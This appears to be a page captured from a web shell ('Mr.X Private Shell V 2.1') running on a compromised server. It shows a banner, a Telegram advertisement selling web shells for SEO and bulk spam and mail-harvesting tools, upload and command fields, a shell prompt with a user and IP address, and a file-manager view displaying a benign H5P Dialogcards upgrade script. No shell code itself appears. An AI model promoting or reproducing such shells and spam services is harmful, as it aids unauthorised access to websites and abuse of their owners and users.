����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.249: ~ $
var H5PUpgrades = H5PUpgrades || {};

H5PUpgrades['H5P.Dialogcards'] = (function () {
  return {
    1: {
      /**
       * Asynchronous content upgrade hook.
       * Upgrades content parameters to support DQ 1.4.
       *
       * Converts text and answer into rich text.
       * Escapes 'dangerous' symbols.
       *
       * @param {Object} parameters
       * @param {function} finished
       */
      4: function (parameters, finished) {
        // The old default was to scale the text and not the card
        parameters.behaviour = {
          scaleTextNotCard: true
        };

        // Complete
        finished(null, parameters);
      },

      7: function (parameters, finished, extras) {
        var extrasOut = extras || {};
        // Copy html-free title to new metadata structure if present
        var title = parameters.title || ((extras && extras.metadata) ? extras.metadata.title : undefined);
        if (title) {
          title = title.replace(/<[^>]*>?/g, '');
        }
        extrasOut.metadata = {
          title: title
        };

        finished(null, parameters, extrasOut);
      },

      9: function (parameters, finished, extras) {
        if (parameters && parameters.dialogs && Array.isArray(parameters.dialogs)) {
          /*
           * Regardless of what alignment was set in the editor, the stylesheet
           * would always center the text. For not breaking the view of existing
           * content, set all text to be centered in params - can be changed by
           * user in the editor after upgrade.
           */
          parameters.dialogs.forEach(function (dialog) {
            // Update text on front
            if (typeof dialog.text === 'string') {
              if (dialog.text.substr(0, 2) !== '<p') {
                dialog.text = '<p style="text-align: center;">' + dialog.text + '</p>'; // was plain text
              }
              else {
                dialog.text = dialog.text.replace(/<p[^>]*>/g, '<p style="text-align: center;">');
              }
            }

            // Update text on back
            if (typeof dialog.answer === 'string') {
              if (dialog.answer.substr(0, 2) !== '<p') {
                dialog.answer = '<p style="text-align: center;">' + dialog.answer + '</p>'; // was plain text
              }
              else {
                dialog.answer = dialog.answer.replace(/<p[^>]*>/g, '<p style="text-align: center;">');
              }
            }
          });
        }

        finished(null, parameters, extras);
      }
    }
  };
})();

Filemanager

Name Type Size Permission Actions
e673a3f880b1685f027f4afe55f5ff5445d2e29f File 2.51 KB 0666